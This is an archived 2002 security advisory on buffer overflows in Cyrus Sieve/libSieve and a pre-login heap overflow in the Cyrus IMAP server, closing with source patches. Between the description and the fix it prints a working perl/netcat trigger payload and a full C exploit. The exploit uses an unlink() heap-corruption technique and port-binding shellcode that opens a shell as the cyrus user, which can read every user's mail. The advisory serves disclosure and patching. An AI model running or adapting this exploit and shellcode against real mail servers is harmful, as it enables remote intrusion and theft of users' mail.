3rd Dec 2002 [SBWID-5856]
COMMAND
Cyrus Sieve / libSieve / IMAP buffer overflow
SYSTEMS AFFECTED
Versions up to libSieve 2.1.2 and Cyrus IMAP 2.1.10 are affected.
PROBLEM
In Timo Sirainen [tss@iki.fi] advisories :
Sieve
=====
Cyrus' Sieve implementation contains a couple of classic string based
buffer overflows in script parsing code. Anyone who can execute Sieve
scripts can exploit these bugs. Versions up to libSieve 2.1.2 and Cyrus
IMAP 2.1.10 are affected.
Note that with Cyrus IMAP server exploiting this gives you the
privileges of Cyrus user, capable of reading all users mails.
Problem comes when giving the script a >100 chars long corrupted header
name, >100 chars long IMAP flag or a script that contains lots of
errors to overflow the 500 char limit in error message.
IMAP
====
Cyrus IMAP server has a a remotely exploitable pre-login buffer
overflow. I checked versions 1.4 (oldest in web page) and 2.1.10 which
both had it, so apparently all versions are affected.
Problem is that literal lengths aren't verified to be in any reasonable
range. The length + 2 is then malloc()ed and later written into. So
given length of 2^32-1, we get malloc(1) call but ability to write
2^32-1 bytes there.
Note that you don't have to log in before exploiting this, and since
Cyrus runs everything under one UID, it's possible to read every user's
mail in the system.
I verified that this is exploitable with GLIBC 2.3.1. Probably possible
with older glibcs as well although they had somewhat different malloc()
code. No idea about other libcs, BSD ones look safe. There could be of
course other ways to exploit it than just malloc headers.
(BTW. Why is it that glibc's malloc implementation is almost begging to
be exploited? I don't think it would be that difficult to create safer
implementation with internal structures in separate memory pages,
possibly even separated with non-writable page(s) between. Could even
be faster because of better CPU cache utilization, and maybe made to
take less memory.)
There's several other malloc/integer related problems where it's
possible to read over 2GB strings from clients into memory accessing it
with signed integers, finally wrapping into -2^31. That's probably not
too bad since it can work only with >2GB process limits (only 64bit
architectures I'd think) and even then it would quite likely access
only unmapped memory.
Authors were first contacted 30. October, I think it's way past the fix
time.
semi-exploit
------------
perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
<ctrl-c>
The first 4 bytes specify the address where you want to write to in
memory and the next 4 bytes is the data to be written there (must be a
readable memory address). Rest of the bytes are overwriting prev_size
and size in malloc header. The above values work with cyrus21 package
in Debian unstable/x86. gdb verifies that the call was successful:
Program received signal SIGSEGV, Segmentation fault.
0xbfffef90 in ?? ()
(gdb) bt
#0 0xbfffef90 in ?? ()
#1 0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
#2 0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
#3 0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
Shouldn't be too hard to come up with a real exploit from there on.
You also need to make one "x logout\n" connection first to trigger the
exploit (Cyrus reuses the processes).
Update (24 December 2002)
======
From http://packetstorm.decepticons.org archives :
/* cyrus-imap exploit . gives uid cyrus */
/* tested on slack linux 8.0: cyrus-imap 2.1.10 , glibc-2.2.3 ,kernel 2.4.19 */
/* irian@antisocial.com */
/* */
/* please don't distro . i don't want this crap on any website. */
/* this is PoC state. it will get better. */
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
struct sockaddr_in sck;
struct hostent *hp;
long inet;
int sock;
char *target[128];
int openconn(char *target,int port){
sock = socket (PF_INET, SOCK_STREAM, 0);
if (!sock)
{
perror ("socket()");
return 0 ;
}
inet = inet_addr (target);
if (inet == -1)
{
if (hp = gethostbyname (target))
memcpy (&inet, hp->h_addr, 4);
else
inet = -1;
if (inet == -1)
{
fprintf (stderr, "can't resolve %s \n", target);
return 0 ;
}
}
sck.sin_family = PF_INET;
sck.sin_port = htons (port);
sck.sin_addr.s_addr = inet;
if (connect (sock, (struct sockaddr *) &sck, sizeof (sck)) < 0)
{
perror ("connect() ");
return 0;
}
return 1 ;
}
main(int argc,char *argv []){
int port=143;
char sploit[512];
char instr[]="x login {4294967295}\r\n"; //2^32
char readbuf[512];
memset(sploit,0,sizeof(sploit));
memset(readbuf,0,sizeof(readbuf));
strcpy(sploit,instr);
strcat(sploit,"\x04\xf4\x11\x08\x04\xf4\x11\x08"); // fake chunks
strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
strcat(sploit,"\x04\xf5\x11\x08\x04\xf5\x11\x08");
strcat(sploit,"\xf0\xff\xff\xff\xfc\xff\xff\xff");
strcat(sploit,"\x50\xb9\x10\x08\x48\xf6\x11\x08"); // feed it to unlink() macro
//^retloc-12 ^shellcode addy
strcat(sploit,"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
strcat(sploit,shellcode);
fprintf(stderr,"%d bytes\n",strlen(sploit));
if (!openconn("127.0.0.1",port)) exit(-1);
fprintf(stderr,"connected. press a key to send the stuff...\n");
getchar();
write(sock,sploit,strlen(sploit));
read(sock,readbuf,511);
fprintf(stderr,"%s",readbuf);
close(sock);
fprintf(stderr,"exploit done. now connect to port 26112\n");
}
SOLUTION
fix (unofficial ??)
---
Apply the included patch. Note that this changes only the yacc files,
you still need to generate .c files from them. libSieve 2.1.3 will
hopefully also contain some more hardening against potential buffer
overflows.
diff -ru cyrus-imapd-2.1.10-old/sieve/addr.y cyrus-imapd-2.1.10/sieve/addr.y
--- cyrus-imapd-2.1.10-old/sieve/addr.y 2002-10-28 18:30:18.000000000 +0200
+++ cyrus-imapd-2.1.10/sieve/addr.y 2002-12-02 04:52:58.000000000 +0200
@@ -82,8 +82,9 @@
/* copy address error message into buffer provided by sieve parser */
int yyerror(char *s)
{
-extern char addrerr[];
+extern char addrerr[512];
- strcpy(addrerr, s);
+ strncpy(addrerr, s, sizeof(addrerr)-1);
+ addrerr[sizeof(addrerr)-1] = '\0';
return 0;
}
diff -ru cyrus-imapd-2.1.10-old/sieve/sieve.y cyrus-imapd-2.1.10/sieve/sieve.y
--- cyrus-imapd-2.1.10-old/sieve/sieve.y 2002-05-14 19:51:50.000000000 +0300
+++ cyrus-imapd-2.1.10/sieve/sieve.y 2002-12-02 03:57:17.000000000 +0200
@@ -810,7 +810,7 @@
addrptr = s;
addrerr[0] = '\0'; /* paranoia */
if (addrparse()) {
- sprintf(errbuf, "address '%s': %s", s, addrerr);
+ snprintf(errbuf, sizeof(errbuf), "address '%s': %s", s, addrerr);
yyerror(errbuf);
return 0;
}
@@ -835,7 +835,7 @@
; controls, SP, and
; ":". */
if (!((*h >= 33 && *h <= 57) || (*h >= 59 && *h <= 126))) {
- sprintf(errbuf, "header '%s': not a valid header", hdr);
+ snprintf(errbuf, sizeof(errbuf), "header '%s': not a valid header", hdr);
yyerror(errbuf);
return 0;
}
@@ -853,14 +853,14 @@
if (strcmp(f, "\\seen") && strcmp(f, "\\answered") &&
strcmp(f, "\\flagged") && strcmp(f, "\\draft") &&
strcmp(f, "\\deleted")) {
- sprintf(errbuf, "flag '%s': not a system flag", f);
+ snprintf(errbuf, sizeof(errbuf), "flag '%s': not a system flag", f);
yyerror(errbuf);
return 0;
}
return 1;
}
if (!imparse_isatom(f)) {
- sprintf(errbuf, "flag '%s': not a valid keyword", f);
+ snprintf(errbuf, sizeof(errbuf), "flag '%s': not a valid keyword", f);
yyerror(errbuf);
return 0;
}
diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c
--- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24 21:58:41.000000000 +0300
+++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.000000000 +0200
@@ -97,7 +97,7 @@
struct buf *buf, int type)
{
int c;
- int i;
+ unsigned int i;
unsigned int len = 0;
int sawdigit = 0;
int isnowait;
@@ -228,6 +228,16 @@
if (c != EOF) prot_ungetc(c, pin);
return EOF;
}
+ if (len > 65536) {
+ if (isnowait) {
+ for (i = 0; i < len; i++)
+ c = prot_getc(pin);
+ }
+ prot_printf(pout, "* BAD Literal too large\r\n");
+ prot_flush(pout);
+ if (c != EOF) prot_ungetc(c, pin);
+ return EOF;
+ }
if (len >= buf->alloc) {
buf->alloc = len+1;
buf->s = xrealloc(buf->s, buf->alloc+1);
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH